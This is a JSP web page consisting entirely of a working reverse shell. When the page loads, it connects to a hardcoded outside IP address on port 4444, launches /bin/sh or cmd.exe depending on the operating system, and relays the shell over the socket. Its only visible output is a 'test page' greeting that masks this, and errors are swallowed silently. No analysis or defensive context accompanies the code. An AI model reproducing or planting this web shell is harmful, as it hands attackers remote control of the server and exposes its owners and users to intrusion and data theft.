<% class StreamConnector extends Thread { InputStream xr; OutputStream cI; StreamConnector( InputStream xr, OutputStream cI ) { this.xr = xr; this.cI = cI; } public void run() { BufferedReader xE = null; BufferedWriter bhG = null; try { xE = new BufferedReader( new InputStreamReader( this.xr ) ); bhG = new BufferedWriter( new OutputStreamWriter( this.cI ) ); char buffer[] = new char[8192]; int length; while( ( length = xE.read( buffer, 0, buffer.length ) ) > 0 ) { bhG.write( buffer, 0, length ); bhG.flush(); } } catch( Exception e ){} try { if( xE != null ) xE.close(); if( bhG != null ) bhG.close(); } catch( Exception e ){} } } try { String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { ShellPath = new String("/bin/sh"); } else { ShellPath = new String("cmd.exe"); } Socket socket = new Socket( "137.220.232.89", 4444 ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} String ooo = "hello, this's test page"; %> <%=ooo%>